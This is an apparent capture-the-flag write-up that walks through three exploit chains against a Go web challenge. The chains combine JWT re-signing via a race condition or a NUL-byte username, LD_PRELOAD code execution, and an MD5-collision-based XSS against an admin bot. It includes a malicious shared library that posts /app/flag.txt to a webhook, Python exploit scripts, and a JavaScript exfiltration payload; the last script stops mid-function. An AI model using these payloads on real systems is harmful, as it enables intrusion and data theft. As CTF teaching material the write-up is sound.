uncavo-hdmi

FlagGuessr

This challenge could be solved using three distinct approaches: one intended by the challenge author and two unintended paths I discovered during the competition.

During the event, the author provided a hint to participants:

However, as I explored the challenge, I found that the XSS step was not strictly required to solve it.

The objective of this challenge was to retrieve the flag placed in the filesystem at /app/flag.txt.

I will start by presenting the simplest solution path, which does not rely on XSS. Afterwards, I'll go over the other two approaches, which differ from the first only by a few steps.


1) XSS-less approach

Unfortunately for us, we might have to dive straight into the code to get started. Fortunately for you, I'll highlight only those functions that have a direct connection to the vulnerability, so you won't have to sift through everything.

Make(R)CErt

The first functionality I want to highlight is the MakeCert. In the /profile page of the web app, we can download a certificate (a png image) that contains some data regarding our account.

When we click the download button, we are actually making an API call to /api/certificate, which is handled on the server by the MakeCert function:

mux := http.NewServeMux()
...
mux.HandleFunc("GET /api/certificate", MakeCert)
func MakeCert(w http.ResponseWriter, r *http.Request) {
	session, valid, resp, err := RequestMiddleware(w, r)
	defer resp.respond()
	if err != nil {
		return
	}
	if !valid || !session.LoggedIn {
		session.ClearSession()
		session.UpdateSession(w)
		resp.setError(fmt.Errorf("not logged in"), http.StatusUnauthorized)
		return
	}
	defer session.UpdateSession(w)

	cmd := exec.Command("./makecert", session.UserID)
	u, err := FindUser(session.UserID)
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}
	cmd.Env = append(os.Environ(), fmt.Sprintf("correct_guesses=%d", u.FlagsFound))
	cmd.Env = append(cmd.Env, fmt.Sprintf("total_attempts=%d", u.FlagsChecked))
	for k, v := range session.Properties {
		fmt.Printf("key: %s\n", k)
		cmd.Env = append(cmd.Env, fmt.Sprintf("%s=%s", k, v))
	}
	fmt.Printf("complete env: %v\n", cmd.Env)
	err = cmd.Run()
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}
	imgData, err := os.ReadFile(fmt.Sprintf("./userdata/%s/certificate.png", session.UserID))
	if err != nil {
		resp.setError(fmt.Errorf("image generation failed"), http.StatusBadRequest)
		return
	}
	resp.Body = imgData
	resp.Writer.Header().Set("Content-Type", "image/png")
	resp.respondRaw()
}

Hope you can understand what's happening, cause I'm not going to explain all that. (jk)

In a nutshell, the function first checks if the user is authenticated by using a middleware and verifying the validity of the token.

Next, it prepares to run an external executable called makecert, passing the current user's ID as a command-line argument via Go's exec.Command:

cmd := exec.Command("./makecert", session.UserID)

Before running the command, the function sets up environment variables for it. This is done using the cmd.Env field.

Notice that the implementation here is quite unusual: it cycles through all properties found in the session (which are contained in the JWT) and sets each one as an environment variable for the makecert process. This means that any property stored in your JWT can become an environment variable.

Finally, the command is executed using cmd.Run().

Let's now analyze the code behind the makecert executable. The code is quite lengthy, but most of it isn't directly relevant to the vulnerability. For clarity and focus, I'll omit unrelated sections and highlight only the parts essential to understanding the issue.

package main

import (
	// ...
)

type CertImage struct {
	TemplatePath string
	FontPath     string
	Username     string
	Description  string
	Attempts     int
	Correct      int
}

func (c *CertImage) DrawImage() (image.Image, error) {
	// This function actually draws an image (we skip it)
	// ...
	return ctx.Image(), nil
}

func main() {
	if len(os.Args) < 2 {
		return
	}
	userID := os.Args[1]
	displayName := os.Getenv("display_name")
	description := os.Getenv("description")
	correctGuesses := os.Getenv("correct_guesses")
	attempts := os.Getenv("total_attempts")

	// (skipping some code) ...

	c := CertImage{
		// (omitting some variables)...
	}

	img, err := c.DrawImage()
	if err != nil {
		return
	}

	output, err := os.CreateTemp("", "user-cert-*.png")
	if err != nil {
		return
	}
	defer os.Remove(output.Name())
	defer output.Close()

	err = png.Encode(output, img)
	if err != nil {
		return
	}
	cmd := exec.Command("cp", output.Name(), fmt.Sprintf("./userdata/%s/certificate.png", userID))
	err = cmd.Run()
	if err != nil {
		return
	}
}

From this, we notice something sketchy: the code uses exec.Command to run the cp utility, when it could have easily used a native Go function like io.Copy.

This opens up a potential vulnerability. Suppose we have the ability to control the environment of this program, for example, by setting environment variables like LD_PRELOAD.

LD_PRELOAD is an environment variable that lets you specify a list of additional ELF shared objects to be loaded before any other system libraries when a dynamically linked executable runs, such as cp. If you set LD_PRELOAD to the path of a shared object, that file will be loaded before any other library, including the C runtime (libc.so). This mechanism enables you to override functions and introduce custom behavior at runtime.

$ file /bin/cp

/bin/cp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...

To make this our RCE vector, two conditions must be met:

  1. We need to be able to tamper with the JWT so that the properties object includes an LD_PRELOAD entry set to the path of a malicious shared library.
  1. We also need a way to upload our malicious shared library, so it can be loaded during process execution.

A function, many flaws 🔥

We are in luck. One function takes care of both prerequisites, allowing us to modify the JWT and upload a malicious shared library.

The culprit is the Register function. Let's break down its logic step by step.

mux.HandleFunc("POST /register", Register)
func Register(w http.ResponseWriter, r *http.Request) {
	// 1.
	session, valid, resp, err := RequestMiddleware(w, r)
	resp.Body = "/register"
	defer resp.respondRedirect()
	if err != nil {
		resp.Body = "/register?e=bad request"
		return
	}
	if valid && session.LoggedIn {
		resp.Body = "/home"
		return
	}

The Register function starts by extracting session details from the request using RequestMiddleware.

💡
func RequestMiddleware(w http.ResponseWriter, r *http.Request) (*Session, bool, *Response, error) {
	sessionCookie, err := r.Cookie("session")
	resp := &Response{
		Body: MessageResponse{
			Message: "ok",
		},
		RespCode:  200,
		Writer:    w,
		Request:   r,
		Responded: false,
	}
	if err != nil {
		if err == http.ErrNoCookie {
			return &Session{}, false, resp, nil
		} else {
			resp.setError(err, http.StatusBadRequest)
			return nil, false, resp, err
		}
	}
	var session Session
	token, _ := jwt.ParseWithClaims(sessionCookie.Value, &session, func(t *jwt.Token) (any, error) { return jwtKey, nil })
	valid := false
	if token != nil {
		valid = token.Valid
	}
	return &session, valid, resp, nil
}

The RequestMiddleware function attempts to retrieve the session cookie, parse it as a JWT, and extract session information. However, its logic is not entirely secure:

  • If the JWT is present but invalid, jwt.ParseWithClaims still parses its claims and fills the session object, even though token.Valid is false.
  • The function then returns the session object to the caller, regardless of the JWT's validity and without returning any potential error.

When RequestMiddleware returns, the Register function first checks for any errors from the middleware. If there is an error, it redirects the user to the registration page with an error message.

If there are no errors, Register then checks whether the JWT token is valid and whether the session indicates the user is already logged in. If both conditions are met, the user is redirected to the home page.

If the token is not valid or the user is not logged in, the function continues with the registration process.

	// 2.
	defer session.UpdateSession(w)

In Go, the defer statement is used to schedule a function call to run after the surrounding function has finished executing, regardless of how it exits (even if it returns early due to an error).

💡
func (s *Session) Sign() string {
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, s)
	tokenStr, _ := token.SignedString(jwtKey)
	return tokenStr
}

func (s *Session) UpdateSession(w http.ResponseWriter) {
	token := s.Sign()
	cookie := http.Cookie{
		Name:     "session",
		Value:    token,
		HttpOnly: true,
		Path:     "/",
	}
	http.SetCookie(w, &cookie)
}

The UpdateSession method belongs to a session object. It creates a new JWT from the current session state (using Sign()), puts it into an HTTP cookie, and writes it to the response. By using defer session.UpdateSession(w) in the Register function, you ensure that the latest session state is always saved and sent to the client, regardless of how the function exits.

As you can notice, since the session object is the one returned by RequestMiddleware, if we find a way to trigger UpdateSession (which is always called at the end of Register due to defer) without having our session object cleared or reset during the registration flow, the server will sign and return a new JWT based on our tampered session data.

For now let's proceed with the rest of the Register function.

// 3.
	flagFile, _, err := r.FormFile("flag")
	if err != nil {
		session.ClearSession()
		resp.Body = "/register?e=bad request"
		return
	}
	username := r.FormValue("username")
	password := r.FormValue("password")
	displayName := r.FormValue("display_name")
	if len(username) == 0 {
		session.ClearSession()
		resp.Body = "/register?e=missing username"
		return
	} else if len(password) == 0 {
		session.ClearSession()
		resp.Body = "/register?e=missing password"
		return
	} else if len(displayName) == 0 {
		session.ClearSession()
		resp.Body = "/register?e=missing display name"
		return
	}
	newUser := &User{
		Username:    strings.ToLower(username),
		DisplayName: displayName,
		Password:    password,
		UserType:    UserKindStandard,
		UserID:      uuid.NewString(),
	}

The function expects the following fields in the registration form:

  • username
  • display_name
  • password
  • a file (named "flag")

With this data, it creates a new User object. Notice that the username is always converted to lowercase before being stored.

	// 4.
	available, err := newUser.CheckUsernameAvailable()
	if err != nil {
		session.ClearSession()
		resp.Body = "/register?e=bad request"
		return
	}
	if !available {
		session.ClearSession()
		resp.Body = "/register?e=username taken"
		return
	}

The function checks if the provided username is available using the CheckUsernameAvailable() function, which retrieves all users from the database and iterates through them to see if any username matches the one provided. If a database error occurs or the username is taken, the session is cleared and the user is redirected.

Are you noticing that every time the function needs to return early, session.ClearSession() is called? This is to prevent what we discussed earlier: if the session object is not cleared before an early return, any data from a tampered JWT could be signed and sent back to the client when UpdateSession runs (due to defer). By always clearing the session on error or invalid input, the application ensures that only safe, server-controlled session data is ever signed and returned. (Keep this in mind).

	// 5.
	err = os.MkdirAll(fmt.Sprintf("./userdata/%s/uploads", newUser.UserID), 0644)
	if err != nil {
		session.ClearSession()
		resp.Body = "/register?e=internal server error"
		return
	}
	f, err := os.OpenFile(fmt.Sprintf("./userdata/%s/flag.txt", newUser.UserID), os.O_WRONLY|os.O_CREATE, 0644)
	if err != nil {
		session.ClearSession()
		resp.Body = "/register?e=internal server error"
		return
	}
	defer f.Close()
	_, err = io.Copy(f, flagFile)
	if err != nil {
		session.ClearSession()
		resp.Body = "/register?e=internal server error"
		return
	}

This part of the code handles saving the uploaded file from the registration form:

  1. The server creates a directory specific to the new user: ./userdata/<UserID>/.
  1. It then opens (or creates) a file named flag.txt in the user's directory.
  1. The uploaded file (flagFile) is written into flag.txt.

That is exactly the entry point for our malicious shared library.

	// 6.
	err = newUser.InsertUser()
	if err != nil {
		resp.Body = "/register?e=bad request"
		return
	}
	session.InitSession(newUser)
	resp.Body = "/home"
}

Finally, here's the most interesting part: have you noticed that when newUser.InsertUser() fails, the function does not call session.ClearSession() before returning?

Imagine now this registration flow:

  • The user tries to register with a tampered (therefore invalid) token.
  • The registration function proceeds, but fails on the newUser.InsertUser() step.
  • Because of the deferred call, session.UpdateSession() is still executed.
  • The user receives a signed token in the Set-Cookie response header.
  • The redirect to /register?e=bad request doesn't matter, since the attacker already received the signed cookie.

We are now one step away from the flag: how to trigger an error on newUser.InsertUser()?

Getting an error

As we can see from the code below, the InsertUser function is nothing more than a database query:

func (u *User) InsertUser() error {
	_, err := db.Exec(INSERT_USER, u.UserID, u.Username, u.Password, u.DisplayName, u.Description, u.UserType)
	return err
}

Therefore, to understand how to trigger an error in this function, we need to see what kind of query is being made and on which table.

const (
	CREATE_USERS_TABLE   = `CREATE TABLE users (user_id text UNIQUE, username text COLLATE NOCASE, password text, display_name text, description text NULL, user_type integer, cheater integer, PRIMARY KEY (username, display_name));`
	
	// ...
	
	INSERT_USER          = `INSERT INTO users (user_id, username, password, display_name, description, user_type, cheater) VALUES (?, ?, ?, ?, ?, ?, 0);`
	
	// ...
)

We are inserting a user into the users table. The user_id column must be unique, but since it is generated as a UUID during registration, it is practically impossible to create a duplicate. Therefore, an error due to a duplicate user_id is not a realistic scenario.

Another way to trigger an error would be by inserting a user with the same username and display_name as an existing user. Since the table uses these two columns as a composite primary key, attempting to register with both values matching another user will violate the primary key constraint and cause the InsertUser query to fail.

But wait… is this even possible? We previously saw that the Register function checks if a user with the same username already exists in the database. This means that, under normal circumstances, the application won't allow us to register using a username that's already taken, thus preventing us to trigger the error we need.

There is another (more subtle) problem in the Register function: a race condition.

Racing for the error

func main() {
	// ...
	mux := http.NewServeMux()
	mux.HandleFunc("POST /register", Register)
	// ...
	log.Fatal(http.ListenAndServe("0.0.0.0:5555", mux)
}

In this code, concurrency is achieved through Go's HTTP server implementation. When http.ListenAndServe("0.0.0.0:5555", mux) is called, the server begins listening for incoming HTTP connections. For each request received, the server automatically starts a new goroutine to handle that request independently. Within each goroutine, the server invokes mux.ServeHTTP, which routes the request to the appropriate handler, such as the Register function if the incoming request matches "POST /register".

This standard Go's HTTP behavior opens up for race conditions. In particular, the Register function is vulnerable to a Time-of-Check Time-Of-Use (TOCTOU) issue.

Recall that the function first checks if the username is available (here) and, only after some additional operations, inserts the new user into the database (here). If two requests with the same username and display_name arrive almost simultaneously and pass the availability check before either inserts the user, both will attempt to create the same entry. This will violate the primary key constraint of the users table, resulting in an error from the InsertUser function. Consequently, the function will return early, signing and issuing a tampered JWT.

Putting all together

What we need to do now is:

  • Upload the malicious shared library
    #include <stdio.h>
    #include <stdlib.h>
    void __attribute__((constructor)) init() {
      setenv("LD_PRELOAD", "", 1);
      system("wget --post-file /app/flag.txt https://webhook.site/<uuid>");
    }
    💡

    The first time I tried to exploit this challenge, I forgot to use setenv to clear the LD_PRELOAD environment variable. As a result, my local container crashed in a rather spectacular way.

    Before uploading, compile the shared library using:

    gcc -fPIC -shared -o evil.so malicious_library.c

    The upload step will be included in the next script.

  • Get a signed tampered token

    The token we want the server to sign is:

    {
      "user_id": "6a19da18-e97b-4daf-988a-64f81c8f96be",
      "username": "aa",
      "user_kind": 0,
      "properties": {
        "LD_PRELOAD": "/app/userdata/<UserID>/flag.txt",
        "display_name": "aa"
      },
      "logged_in": true
    }

    Our next step is to generate this tampered token and include it in both concurrent requests. Due to the race condition, one of these requests (specifically the one that triggers the database error) will return the signed JWT containing our payload.

    import requests, random, string, threading, jwt
    
    BASE_URL = "http://localhost:5555"
    
    cookie_signed = False
    
    def register(username, file, cookie=None):
      global cookie_signed
      session = requests.session()
      # register
      url = BASE_URL + "/register"
    
      data = {
          "username": username,
          "display_name": "abc",
          "password": "abc"
      }
      files = {
          "flag": ("flag.txt", file, "text/plain")
      }
    
      session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
      encoded_jwt = session.cookies.get("session")
      decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
      if(decoded['properties'].get('LD_PRELOAD')):
          print("set-cookie: ", decoded)
          print("signed_tampered_cookie: ", encoded_jwt)
          cookie_signed = True
      
      return session
    
    # upload the malicious library and retrieve a valid UserID
    lib_file = open("evil.so", 'rb')
    username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
    sess = register(username, lib_file)
    encoded_jwt = sess.cookies.get("session")
    decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
    user_id = decoded['user_id']
    
    payload = {
      "user_id": user_id,
      "username": username,
      "user_kind": 0,
      "properties": {
        "LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt",
        "display_name": "abc"
      },
      "logged_in": True
    }
    
    tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256')
    cookie = {"session": tampered_token}
    
    # send concurrent requests to trigger the error and get the signed ticket
    for x in range(5):
      if cookie_signed:
        break
      username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
      thread1 = threading.Thread(target=register, args=(username, lib_file, cookie))
      thread2 = threading.Thread(target=register, args=(username, lib_file, cookie))
      
      thread1.start()
      thread2.start()
      thread1.join()
      thread2.join()

    Example output

    $ python3 race.py
    set-cookie:  {'user_id': '2c8e6a4e-b3f9-45c0-996f-431ade1af673', 'username': '4481p37ker', 'user_kind': 0, 'properties': {'LD_PRELOAD': '/app/userdata/2c8e6a4e-b3f9-45c0-996f-431ade1af673/flag.txt', 'display_name': 'abc'}, 'logged_in': True}
    
    signed_tampered_cookie:  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMmM4ZTZhNGUtYjNmOS00NWMwLTk5NmYtNDMxYWRlMWFmNjczIiwidXNlcm5hbWUiOiI0NDgxcDM3a2VyIiwidXNlcl9raW5kIjowLCJwcm9wZXJ0aWVzIjp7IkxEX1BSRUxPQUQiOiIvYXBwL3VzZXJkYXRhLzJjOGU2YTRlLWIzZjktNDVjMC05OTZmLTQzMWFkZTFhZjY3My9mbGFnLnR4dCIsImRpc3BsYXlfbmFtZSI6ImFiYyJ9LCJsb2dnZWRfaW4iOnRydWV9.oq91DJObZ-IKp1x2V6v5NaaEbLh3cyoOdRGwuE6F04c
  • visit the /api/certificate endpoint to trigger the RCE

    We simply need to send a request to the /api/certificate endpoint using the tampered, but validly signed, cookie obtained in the previous step.


2) I will take my revenge

Now, imagine they fixed the challenge to avoid the race condition…

(imagine)

The race condition is not the only way to get an error in the InsertUser function though.

Let's revisit the function:

// 	INSERT_USER = `INSERT INTO users (user_id, username, password, display_name, description, user_type, cheater) VALUES (?, ?, ?, ?, ?, ?, 0);`

func (u *User) InsertUser() error {
	_, err := db.Exec(INSERT_USER, u.UserID, u.Username, u.Password, u.DisplayName, u.Description, u.UserType)
	return err
}

This function performs a straightforward insertion into the users table:

CREATE_USERS_TABLE = `CREATE TABLE users (user_id text UNIQUE, username text COLLATE NOCASE, password text, display_name text, description text NULL, user_type integer, cheater integer, PRIMARY KEY (username, display_name));`

An interesting detail here is the definition: username text COLLATE NOCASE.

This means all comparisons on the username column are case-insensitive, including those involving the primary key. As a result, usernames like "Hello" and "hello" would be considered identical by the database.
As shown in the documentation, we notice something peculiar about the NOCASE collation.

This means that if the username value contains a null byte (\x00), SQLite will treat everything after the null byte as irrelevant during comparisons.
This is not the case for the Go comparison in the CheckUsernameAvailable() function (seen here). There, the username comparison is performed directly in Go using the == operator, which is case-sensitive and does not treat null bytes as string terminators. As a result, usernames like "Hello" and "hello", or "hello" and "hello\x00extra", would be considered different by the Go logic.

A key detail is that the database only compares strings of the same length. If the lengths are different, won't even bother comparing their contents and will just consider them different. To trigger the error in the InsertUser function, you can use two usernames of the same length that contain a null character, such as "hello\x00abc" and "hello\x00def".

The exploitation steps are unchanged from before:

  • Upload the malicious shared library (same as before)
  • Get a signed tampered token

    The exploit is now the following:

    import requests, random, string, jwt
    
    BASE_URL = "http://localhost:5555"
    
    def random_username(length=10):
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def register(username, file, cookie=None):
      session = requests.session()
      url = BASE_URL + "/register"
    
      data = {
          "username": username,
          "display_name": "abc",
          "password": "abc"
      }
      files = {
          "flag": ("flag.txt", file, "text/plain")
      }
    
      session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
      encoded_jwt = session.cookies.get("session")
      decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
      if(decoded['properties'].get('LD_PRELOAD')):
          print("set-cookie: ", decoded)
          print("signed_tampered_cookie: ", encoded_jwt)
    
      return session
    
    # upload the malicious library and retrieve a valid UserID
    with open("evil.so", 'rb') as lib_file:
        username = random_username()
        sess = register(username, lib_file)
        encoded_jwt = sess.cookies.get("session")
        decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
        user_id = decoded['user_id']
    
    payload = {
      "user_id": user_id,
      "username": username,
      "user_kind": 0,
      "properties": {
        "LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt",
        "display_name": "abc"
      },
      "logged_in": True
    }
    
    tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256')
    cookie = {"session": tampered_token}
    
    # register two usernames that are identical up to a null byte
    username = random_username()
    
    with open("evil.so", 'rb') as lib_file:
        register(f"{username}\0abc", lib_file, cookie)
    
    with open("evil.so", 'rb') as lib_file:
        register(f"{username}\0def", lib_file, cookie)
  • visit the /api/certificate endpoint to trigger the RCE

    Send a request to the /api/certificate endpoint using the signed tampered cookie obtained in the previous step.


3) The last path

The last path is a bit more intricate, as it introduces the XSS mentioned by the challenge author. We also need to introduce a couple more functions *sigh*

Up to this point, I hadn't mentioned that there's actually a bot involved in this challenge (surprise!).

The bot (I forgor)

mux.HandleFunc("POST /api/report", ReportCheater)
func ReportCheater(w http.ResponseWriter, r *http.Request) {

	// skipping middleware, authentication stuff...

	if r.ContentLength == 0 {
		resp.setError(fmt.Errorf("missing body"), http.StatusBadRequest)
		return
	}
	defer r.Body.Close()
	var req ReportRequest
	err = json.NewDecoder(r.Body).Decode(&req)
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}

	playerProfile := req.URL

	adminID := uuid.NewString()
	adminUsername := fmt.Sprintf("Admin-%s", adminID)
	adminPassword := uuid.NewString()
	adminDisplayName := uuid.NewString()
	adminUser := User{
		Username:    adminUsername,
		DisplayName: adminDisplayName,
		Password:    adminPassword,
		UserType:    UserKindAdmin,
		UserID:      adminID,
	}
	
	err = adminUser.InsertUser()

	// other stuff we don't really care
	// I'm saving you time here!

	go adminCheckUser(adminUsername, adminPassword, playerProfile)

	resp.Body = MessageResponse{Message: "looking into it"}
}

When the /api/report endpoint is accessed with a POST request containing a JSON body, the server decodes the request to extract the URL provided. It then creates a new temporary admin user with random credentials and directly adds this user to the database. In the background (via a goroutine), the server launches a headless browser, logs in as the admin, and navigates to the submitted URL (we are limited to the challenge domain baseURL).

Why XSS?

Suppose both the race condition and null-byte techniques didn't work. How else could we trigger the error to sign the cookie?

If you noticed, in the above code, the admin username starts with "Admin-". Pretty convenient, if you consider that we can trigger the error during registration by using that same username in lowercase. The only thing we are missing? The complete admin username.

Fortunately, this can be retrieved with a XSS.

Looking for the XSS

While searching for the XSS, one function in particular caught my eye: GetGuess.

mux.HandleFunc("GET /api/users/{guesser_id}/guesses/{guess_id}", GetGuess)
func (g *Guess) GetFilePath() string {
	return fmt.Sprintf("./userdata/%s/uploads/%s", g.GuesserID, g.GuessID)
}

func GetGuess(w http.ResponseWriter, r *http.Request) {
	// skipping middleware, authentication stuff...

	guesserID := r.PathValue("guesser_id")
	guessID := r.PathValue("guess_id")
	guesser, err := FindUser(guesserID)
	if err != nil {
		resp.setError(fmt.Errorf("user not found"), http.StatusBadRequest)
		return
	}
	guess, err := guesser.FindGuess(guessID)
	if err != nil {
		resp.setError(fmt.Errorf("guess not found"), http.StatusBadRequest)
		return
	}
	if session.UserKind != UserKindAdmin && guess.GuesserID != session.UserID {
		resp.setError(fmt.Errorf("only admins can see other users' guesses"), http.StatusBadRequest)
		return
	}
	guessPath := guess.GetFilePath()
	guessBytes, err := os.ReadFile(guessPath)
	if err != nil {
		resp.setError(fmt.Errorf("incorrect guesses not saved. guessPath: %s", guessPath), http.StatusBadRequest)
		return
	}
	resp.Body = guessBytes
	resp.respondRaw()
}

The GetGuess function retrieves a specific user's guess file from disk and returns its contents in the HTTP response.

It extracts the guesser_id and guess_id from the request URL, then attempts to find the corresponding user and their guess. If either is not found in the database, it returns an error.

Only admins or the user who made the guess can view the file; otherwise, an error is returned.

The guessPath will follow this format: ./userdata/{GuesserID}/uploads/{GuessID}. Therefore, if we can upload an HTML file to that path, we can trigger an XSS on the bot by making it visit this endpoint.

💡
func (r *Response) respondRaw() error {
	if r.Responded {
		return nil
	}
	if r.RespCode == 0 {
		r.RespCode = http.StatusOK
	}
	r.Writer.WriteHeader(r.RespCode)
	respBytes, ok := r.Body.([]byte)
	if !ok {
		return fmt.Errorf("invalid body")
	}
	_, err := r.Writer.Write(respBytes)
	r.Responded = true
	return err
}
If the Header does not contain a Content-Type line, Write adds a Content-Type set to the result of passing the initial 512 bytes of written data to [DetectContentType].

Uploading an HTML file

Another function, nooo

mux.HandleFunc("POST /api/users/{id}/checkflag", CheckFlag)

The CheckFlag function handles the process of submitting a guess for another user's flag.

It first retrieves the flag guess and the target user's ID from the request, ensuring the user isn't trying to guess their own flag.

func CheckFlag(w http.ResponseWriter, r *http.Request) {
	// skipping middleware, authentication stuff and other checks...

	flagGuess := r.FormValue("flag")
	flagHolderID := r.PathValue("id")

	u, err := FindUser(flagHolderID)
	if err != nil {
		resp.setError(fmt.Errorf("user not found"), http.StatusBadRequest)
		return
	}
	if u.UserID == session.UserID {
		resp.setError(fmt.Errorf("you can't guess your own flag"), http.StatusBadRequest)
		return
	}

It creates a new Guess object, assigning it a unique ID, the current user's ID as the guesser, and the target user's ID as the flag holder, marking it as incorrect by default. It then inserts this guess record into the database using guess.InsertGuess().

	guess := Guess{
		GuessID:      uuid.NewString(),
		GuesserID:    session.UserID,
		FlagHolderID: u.UserID,
		Correct:      false,
	}
	
	// skipping non-relevant checks...
	
	err = guess.InsertGuess()
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}

After creating and storing the guess record, the function determines the file path where the guess will be saved using guess.GetFilePath() (also seen here). It writes the guessed flag to this file on the system. Then, it checks whether the guess is correct by calling guess.CheckGuess().

	guessPath := guess.GetFilePath()
	err = os.WriteFile(guessPath, []byte(flagGuess), 0644)
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}
	correct, md5, sha := guess.CheckGuess()
	if correct {
		guess.MarkCorrect()
	}
	if !correct {
		os.Remove(guessPath)
	} else {
		os.WriteFile(guessPath, []byte(fmt.Sprintf("MD5: %s\nSHA256: %s", md5, sha)), 0644)
	}
	resp.Body = FlagCheckResponse{Correct: correct}
}

Finally, if the guess is correct, the function marks the guess as correct in the database and overwrites the guess file with the MD5 and SHA256 hashes of the correct flag value. If the guess is incorrect, it deletes the guess file from the system to prevent storing invalid attempts

But why save our guess on the filesystem? Storing the user's guess directly on the filesystem is unusual and actually plays a key role in the vulnerability. We were looking for a way to upload an HTML file on the system, and we found it. The only problem is that, within a few instants, our guess file is either removed or, at best, replaced with the hashes.

But what if we could prevent the code that deletes the file or overwrites it with the hashes from ever executing?

Clash Of Hashes

Taking a closer look at the CheckGuess() function, we notice something very, very strange.

func (g *Guess) CheckGuess() (bool, string, string) {
	flag, err := os.ReadFile(fmt.Sprintf("./userdata/%s/flag.txt", g.FlagHolderID))
	if err != nil {
		return false, "", ""
	}
	guess, err := os.ReadFile(g.GetFilePath())
	if err != nil {
		return false, "", ""
	}
	flagMd5 := md5.Sum(flag)
	guessMd5 := md5.Sum(guess)
	md5Equal := bytes.Equal(flagMd5[:], guessMd5[:])
	flagSha := sha256.Sum256(flag)
	guessSha := sha256.Sum256(guess)
	shaEqual := bytes.Equal(flagSha[:], guessSha[:])

	if md5Equal != shaEqual {
		g.MarkCheater()
	}
	return md5Equal && shaEqual, hex.EncodeToString(guessMd5[:]), hex.EncodeToString(guessSha[:])
}

This function is responsible for determining if our guess matches the target user's flag by comparing the contents of our guess file to the target user's flag.txt, using both MD5 and SHA-256 hashes.

💡

This flag.txt file is not the actual flag, but the file the target user uploaded upon registration. (See here)

The peculiar part (aside from the fact that it uses both MD5 and SHA-256 for comparison) lies in this condition:

if md5Equal != shaEqual {
		g.MarkCheater()
	}

In what scenario could these two results differ? This can happen if, for example, an MD5 collision occurs, meaning our guess file produces the same MD5 hash as the flag.txt file, but a different SHA-256 hash.

The MarkCheater function is intended to mark a user as a cheater by executing a database update query. However, the SQL query string is incorrect because it does not include the required question mark (?) placeholder for parameter substitution.

MARK_CHEATER = `UPDATE users SET cheater = 1 WHERE user_id = ;`
💡

The correct query should look like this:

MARK_CHEATER = `UPDATE users SET cheater = 1 WHERE user_id = ?;`
func (g *Guess) MarkCheater() {
	db.MustExec(MARK_CHEATER, g.GuesserID)
}

As a result, when the MarkCheater function is called, it attempts to execute an incomplete SQL statement, which will result in a runtime error. Since MustExec panics on error, this will halt the execution of the current goroutine.

If a panic occurs at this step, the guess file will not be removed or replaced in the CheckFlag function:

	guessPath := guess.GetFilePath()
	// saving guess file on the filesystem
	err = os.WriteFile(guessPath, []byte(flagGuess), 0644)
	if err != nil {
		resp.setError(err, http.StatusBadRequest)
		return
	}
	correct, md5, sha := guess.CheckGuess()
	// if the above line panics, the code below does not run
	if correct {
		guess.MarkCorrect()
	}
	if !correct {
		os.Remove(guessPath)
	} else {
		os.WriteFile(guessPath, []byte(fmt.Sprintf("MD5: %s\nSHA256: %s", md5, sha)), 0644)
	}

Our goal is therefore to make an HTML file that causes an MD5 collision. That way, the file will stay on the server, and we can have the bot visit the /api/report endpoint for that file to trigger the XSS.

No more Go functions, Go func yourself.

To create two files with the same MD5 hash (a collision), we can use the md5_fastcoll tool. By using the -p option, we provide a prefix file that will be identical in both outputs.
The following script demonstrates the complete exploit process to exfiltrate the admin's username and display_name to a webhook.

import requests, string, random, subprocess, os

BASE_URL = "http://localhost:5555"
WEBHOOK_URL = "https://your-webhook/"

HTML_PAYLOAD = f'''<html><body><script>
fetch('/api/profile').then(r => r.json()).then(data => {{
    fetch('{WEBHOOK_URL}?username=' + data.username + '&display_name=' + data.display_name);
}});
</script></body></html>'''

def random_username(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def create_collision_files(input_file, filename1, filename2):
    # Remove existing collision files to avoid stale data
    for fname in [filename1, filename2]:
        if os.path.exists(fname):
            os.remove(fname)

    command = ["./md5_fastcoll", "-p", input_file]
    result = subprocess.run(command, capture_output=True, text=True)
    if result.returncode != 0:
        raise Exception(f"md5_fastcoll failed: {result.stderr}")

def register(username, file_data, cookie=None):
    session = requests.session()
    url = f"{BASE_URL}/register"
    data = {
        "username": username,
        "display_name": "abc",
        "password": "abc"
    }
    files = {
        "flag": ("flag.txt", file_data, "text/plain")
    }
    session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
    return session

def get_user_id(session):
    url = f"{BASE_URL}/api/profile"
    r = session.get(url)
    return r.json().get("user_id")

def html_file_upload(user_id, filename2):
    # register guesser user with file2
    username = random_username()
    with open(filename2, 'rb') as file2:
        session = register(username, file2)
        guesser_id = get_user_id(session)
        print("Guesser ID:", guesser_id)

        # submit file2 as guess to target user
        url = f"{BASE_URL}/api/users/{user_id}/checkflag"
        file2.seek(0)
        data = {"flag": file2.read()}
        try:
            session.post(url, data=data)
        except Exception as e:
            # if the connection is aborted, it means we
            # got the collision and triggered the error
            print(f"Collision triggered!")

        # get guess_id
        url = f"{BASE_URL}/api/users/{guesser_id}/guesses"
        r = session.get(url)
        guess_id = r.json().get("guesses")[-1]['guess_id']
        print("Guess ID:", guess_id)

    return session, guesser_id, guess_id

def report_xss(session, guesser_id, guess_id):
    url = f"{BASE_URL}/api/report"
    json_data = {"url": f"/api/users/{guesser_id}/guesses/{guess_id}"}
    print(f"Reporting: /api/users/{guesser_id}/guesses/{guess_id}")
